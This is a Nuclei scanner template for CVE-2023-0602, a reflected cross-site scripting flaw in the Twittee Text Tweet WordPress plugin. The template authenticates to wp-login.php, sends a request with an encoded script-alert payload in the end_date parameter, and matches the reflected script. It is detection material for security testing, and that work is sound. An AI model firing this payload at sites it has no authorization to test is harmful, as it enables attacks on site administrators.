nuclei-templates/http/cves/2023/CVE-2023-0602.yaml

48 lines
1.9 KiB
YAML
Raw Normal View History

2023-10-17 07:20:28 +00:00
id: CVE-2023-0602
2023-10-17 07:20:28 +00:00
info:
name: Twittee Text Tweet <= 1.0.8 - Cross-Site Scripting
author: r3Y3r53
severity: medium
description: |
The Twittee Text Tweet WordPress plugin through 1.0.8 does not properly escape POST values which are printed back to the user inside one of the plugin's administrative page, which allows reflected XSS attacks targeting administrators to happen.
reference:
- https://wpscan.com/vulnerability/c357f93d-4f21-4cd9-9378-d97756c75255
- https://nvd.nist.gov/vuln/detail/CVE-2023-0602
- https://wordpress.org/plugins/twittee-text-tweet/
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2023-0602
cwe-id: CWE-79
epss-score: 0.00064
epss-percentile: 0.26298
cpe: cpe:2.3:a:johnniejodelljr:twittee_text_tweet:*:*:*:*:*:wordpress:*:*
2023-10-17 07:20:28 +00:00
metadata:
verified: true
max-request: 2
vendor: johnniejodelljr
product: twittee_text_tweet
framework: wordpress
2023-12-05 09:50:33 +00:00
tags: cve,cve2023,wpscan,xss,wordpress,wp,wp-plugin,twittee-text-tweet,johnniejodelljr
2023-10-17 07:20:28 +00:00
http:
- raw:
- |
POST /wp-login.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
log={{username}}&pwd={{password}}&wp-submit=Log+In
- |
GET /wp-admin/admin.php?page=vxcf_leads&form_id=cf_5&status&tab=entries&search&order=asc&orderby=file-438&field&time&start_date&end_date=onobw%22%3e%3cscript%3ealert(document.domain)%3c%2fscript%3ez2u4g HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'status_code_2 == 200'
- 'contains(header_2, "text/html")'
- 'contains(body_2, "<script>alert(document.domain)</script>") && contains(body_2, "twittee")'
condition: and
# digest: 4a0a0047304502206b15dd04049d56167fc8990e04754cb6a7f27a564dd9718604a1493859fb04ac022100c602a96c94a0a710d517b96c631f6a411e92483da7d07f28cb93210eb57be6fb:922c64590222798bb761d5b6d8e72950